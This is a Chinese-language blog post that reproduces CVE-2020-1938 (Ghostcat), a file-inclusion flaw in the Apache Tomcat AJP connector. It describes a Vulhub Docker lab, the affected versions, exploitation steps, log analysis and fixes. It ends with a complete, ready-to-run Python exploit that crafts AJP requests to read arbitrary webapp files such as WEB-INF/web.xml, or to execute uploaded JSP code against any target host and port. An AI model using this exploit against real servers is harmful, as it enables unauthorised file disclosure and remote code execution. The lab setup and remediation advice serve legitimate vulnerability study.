CVE-2020-1938漏洞复现（文末附EXP代码）

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最新推荐文章于 2024-09-09 13:17:32 发布

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分类专栏：漏洞复现文章标签：网络安全 tomcat

本文链接：https://blog.csdn.net/weixin_45071708/article/details/117416349

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本文档详细介绍了Apache Tomcat的CVE-2020-1938文件包含漏洞的环境搭建、影响版本、漏洞原理、复现步骤以及日志分析。通过使用EXP代码，演示了如何读取和执行Tomcat服务器上的文件，同时提供了漏洞利用和整改建议。

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CVE-2020-1938 Apache Tomcat 文件包含漏洞复现

1 环境搭建

1.1 Vulhub靶机搭建

1.1.1 环境安装

（1）安装docker

$ curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

（2）安装Docker-Compose

$ pip install docker-compose

#如果没有pip需要先安装

 $ yum -y install epel-release
 $ yum -y install python-pip
 $ pip --version  # 查看pip版本

（3）安装Vulhub

$ git clone https://github.com/vulhub/vulhub.git

#如果没有Git需要先安装

$ yum install -y git

1.1.2 靶场使用

1.输入systemctl start docker 启动docker
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2.输入systemctl status docker 查看docker状态
在这里插入图片描述

3.选择对应靶场进入，这里我们选择Tomcat下的CVE-2020-1938靶场
在这里插入图片描述

4.输入docker-compose up -d 启动靶场环境
在这里插入图片描述

5.输入docker ps查看容器id
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6.输入docker exec -it docker-id /bin/bash 进入容器，这里我们docker-id为346b40c2c227
在这里插入图片描述

成功进入容器
7.在win10浏览器输入靶场ip查看是否启动成功
在这里插入图片描述

靶场启动成功

2 漏洞复现

2.1 影响版本

Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x

2.2 漏洞原理

Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。而该漏洞是由于Tomcat AJP协议存在缺陷而导致，攻击者可通过构造特定参数读取webapp目录下的任意文件，如：webapp 配置文件或源代码等。
具体原理可参考：https://blog.csdn.net/SouthWind0/article/details/105147652/
AJP协议官方学习文档：http://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html

2.3 漏洞复现及日志分析

2.3.1 漏洞复现

用nmap查看开启端口（此处192.168.153.133为靶机ip）
在这里插入图片描述
可以看到8009端口的AJP协议是开启的，Tomcat版本<9.0.31，并且存在8009端口服务的开启，可以怀疑有CVE-2020-1938 Apache Tomcat文件包含漏洞的存在。

尝试使用EXP来读取Tomcat文件信息
在这里插入图片描述
成功读取Tomcat的Webapps下的文件web.xml
尝试在Tomcat的webapps文件夹下创建一个新的文档1.txt

此时再尝试使用EXP来读取该新建的文档

成功读取，我们再尝试在WEB-INF下创建新文档2.txt

尝试使用EXP来读取该文档
在这里插入图片描述
第一次直接读取2.txt，显示报错失败，第二次我们加上WEB-INF/2.txt后，成功读取，可以发现该漏洞使用EXP是默认读取webapps文件夹下ROOT的文件，而不是WEB-INF，所以需要加上路径WEB-INF/2.txt，读取web.xml同理。
假设我们通过文件上传漏洞上传了jsp脚本的txt文件，来尝试文件包含进行远程代码执行（RCE）（创建一个含jsp脚本的txt文件）
在这里插入图片描述
通过使用EXP来进行远程编译

第一次为正常的远程读取，第二次为远程文件包含远程编译，可以看出第一次读取出来的是未执行的脚本语法代码，第二次则直接远程执行了代码输出了Hello

2.3.2 日志分析

查看Tomcat的日志
在这里插入图片描述
使用EXP通过AJP协议读取，远程读取文件为/asdf，远程代码执行（RCE）为/hissec，状态码200为成功。

3 整改建议

1.将Tomcat版本升级至安全版本
2.找到配置文件server.xml，关闭8009端口（注释掉或删除掉）
在这里插入图片描述

附EXP代码：

#!/usr/bin/env python
# CNVD-2020-10487  Tomcat-Ajp lfi
# by ydhcui
import struct
import io
import base64


# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
    if s is None:
        return struct.pack(">h", -1)
    l = len(s)
    return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)


def unpack(stream, fmt):
    size = struct.calcsize(fmt)
    buf = stream.read(size)
    return struct.unpack(fmt, buf)


def unpack_string(stream):
    size, = unpack(stream, ">h")
    if size == -1:  # null string
        return None
    res, = unpack(stream, "%ds" % size)
    stream.read(1)  # \0
    return res


class NotFoundException(Exception):
    pass


class AjpBodyRequest(object):
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    MAX_REQUEST_LENGTH = 8186

    def __init__(self, data_stream, data_len, data_direction=None):
        self.data_stream = data_stream
        self.data_len = data_len
        self.data_direction = data_direction

    def serialize(self):
        data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
        if len(data) == 0:
            return struct.pack(">bbH", 0x12, 0x34, 0x00)
        else:
            res = struct.pack(">H", len(data))
            res += data
        if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
            header = struct.pack(">bbH", 0x12, 0x34, len(res))
        else:
            header = struct.pack(">bbH", 0x41, 0x42, len(res))
        return header + res

    def send_and_receive(self, socket, stream):
        while True:
            data = self.serialize()
            socket.send(data)
            r = AjpResponse.receive(stream)
            while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
                r = AjpResponse.receive(stream)

            if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
                break


class AjpForwardRequest(object):
    _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(
        28)
    REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE,
                       'TRACE': TRACE}
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    COMMON_HEADERS = ["SC_REQ_ACCEPT",
                      "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE",
                      "SC_REQ_AUTHORIZATION",
                      "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE",
                      "SC_REQ_COOKIE2",
                      "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
                      ]
    ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert",
                  "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]

    def __init__(self, data_direction=None):
        self.prefix_code = 0x02
        self.method = None
        self.protocol = None
        self.req_uri = None
        self.remote_addr = None
        self.remote_host = None
        self.server_name = None
        self.server_port = None
        self.is_ssl = None
        self.num_headers = None
        self.request_headers = None
        self.attributes = None
        self.data_direction = data_direction

    def pack_headers(self):
        self.num_headers = len(self.request_headers)
        res = ""
        res = struct.pack(">h", self.num_headers)
        for h_name in self.request_headers:
            if h_name.startswith("SC_REQ"):
                code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
                res += struct.pack("BB", 0xA0, code)
            else:
                res += pack_string(h_name)

            res += pack_string(self.request_headers[h_name])
        return res

    def pack_attributes(self):
        res = b""
        for attr in self.attributes:
            a_name = attr['name']
            code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
            res += struct.pack("b", code)
            if a_name == "req_attribute":
                aa_name, a_value = attr['value']
                res += pack_string(aa_name)
                res += pack_string(a_value)
            else:
                res += pack_string(attr['value'])
        res += struct.pack("B", 0xFF)
        return res

    def serialize(self):
        res = ""
        res = struct.pack("bb", self.prefix_code, self.method)
        res += pack_string(self.protocol)
        res += pack_string(self.req_uri)
        res += pack_string(self.remote_addr)
        res += pack_string(self.remote_host)
        res += pack_string(self.server_name)
        res += struct.pack(">h", self.server_port)
        res += struct.pack("?", self.is_ssl)
        res += self.pack_headers()
        res += self.pack_attributes()
        if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
            header = struct.pack(">bbh", 0x12, 0x34, len(res))
        else:
            header = struct.pack(">bbh", 0x41, 0x42, len(res))
        return header + res

    def parse(self, raw_packet):
        stream = io.StringIO(raw_packet)
        self.magic1, self.magic2, data_len = unpack(stream, "bbH")
        self.prefix_code, self.method = unpack(stream, "bb")
        self.protocol = unpack_string(stream)
        self.req_uri = unpack_string(stream)
        self.remote_addr = unpack_string(stream)
        self.remote_host = unpack_string(stream)
        self.server_name = unpack_string(stream)
        self.server_port = unpack(stream, ">h")
        self.is_ssl = unpack(stream, "?")
        self.num_headers, = unpack(stream, ">H")
        self.request_headers = {}
        for i in range(self.num_headers):
            code, = unpack(stream, ">H")
            if code > 0xA000:
                h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
            else:
                h_name = unpack(stream, "%ds" % code)
                stream.read(1)  # \0
            h_value = unpack_string(stream)
            self.request_headers[h_name] = h_value

    def send_and_receive(self, socket, stream, save_cookies=False):
        res = []
        i = socket.sendall(self.serialize())
        if self.method == AjpForwardRequest.POST:
            return res

        r = AjpResponse.receive(stream)
        assert r.prefix_code == AjpResponse.SEND_HEADERS
        res.append(r)
        if save_cookies and 'Set-Cookie' in r.response_headers:
            self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

        # read body chunks and end response packets
        while True:
            r = AjpResponse.receive(stream)
            res.append(r)
            if r.prefix_code == AjpResponse.END_RESPONSE:
                break
            elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
                continue
            else:
                raise NotImplementedError
                break

        return res


class AjpResponse(object):
    _, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
    COMMON_SEND_HEADERS = [
        "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
        "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
    ]

    def parse(self, stream):
        # read headers
        self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

        if self.prefix_code == AjpResponse.SEND_HEADERS:
            self.parse_send_headers(stream)
        elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
            self.parse_send_body_chunk(stream)
        elif self.prefix_code == AjpResponse.END_RESPONSE:
            self.parse_end_response(stream)
        elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
            self.parse_get_body_chunk(stream)
        else:
            raise NotImplementedError

    def parse_send_headers(self, stream):
        self.http_status_code, = unpack(stream, ">H")
        self.http_status_msg = unpack_string(stream)
        self.num_headers, = unpack(stream, ">H")
        self.response_headers = {}
        for i in range(self.num_headers):
            code, = unpack(stream, ">H")
            if code <= 0xA000:  # custom header
                h_name, = unpack(stream, "%ds" % code)
                stream.read(1)  # \0
                h_value = unpack_string(stream)
            else:
                h_name = AjpResponse.COMMON_SEND_HEADERS[code - 0xA001]
                h_value = unpack_string(stream)
            self.response_headers[h_name] = h_value

    def parse_send_body_chunk(self, stream):
        self.data_length, = unpack(stream, ">H")
        self.data = stream.read(self.data_length + 1)

    def parse_end_response(self, stream):
        self.reuse, = unpack(stream, "b")

    def parse_get_body_chunk(self, stream):
        rlen, = unpack(stream, ">H")
        return rlen

    @staticmethod
    def receive(stream):
        r = AjpResponse()
        r.parse(stream)
        return r


import socket


def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
    fr.method = method
    fr.protocol = "HTTP/1.1"
    fr.req_uri = req_uri
    fr.remote_addr = target_host
    fr.remote_host = None
    fr.server_name = target_host
    fr.server_port = 80
    fr.request_headers = {
        'SC_REQ_ACCEPT': 'text/html',
        'SC_REQ_CONNECTION': 'keep-alive',
        'SC_REQ_CONTENT_LENGTH': '0',
        'SC_REQ_HOST': target_host,
        'SC_REQ_USER_AGENT': 'Mozilla',
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.5',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0'
    }
    fr.is_ssl = False
    fr.attributes = []
    return fr


class Tomcat(object):
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.socket.connect((target_host, target_port))
        self.stream = self.socket.makefile("rb", buffering=0)

    def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,
                                                           method=AjpForwardRequest.REQUEST_METHODS.get(method))
        print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        if user is not None and password is not None:
            self.forward_request.request_headers[
                'SC_REQ_AUTHORIZATION'] = f'Basic {base64.b64encode(f"{user}:{password}".encode()).decode()}'
        for h in headers:
            self.forward_request.request_headers[h] = headers[h]
        for a in attributes:
            self.forward_request.attributes.append(a)
        responses = self.forward_request.send_and_receive(self.socket, self.stream)
        if len(responses) == 0:
            return None, None
        snd_hdrs_res = responses[0]
        data_res = responses[1:-1]
        if len(data_res) == 0:
            print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
        return snd_hdrs_res, data_res


'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse

parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
parser.add_argument('--rce', type=bool, default=False, help="read file(default) or exec command")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_, data = t.perform_request(f'/hissec{".jsp" if args.rce else ""}', attributes=[
    {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
    {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]},
    {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
])
print('----------------------------')
print(''.join([d.data.decode('utf_8') for d in data]))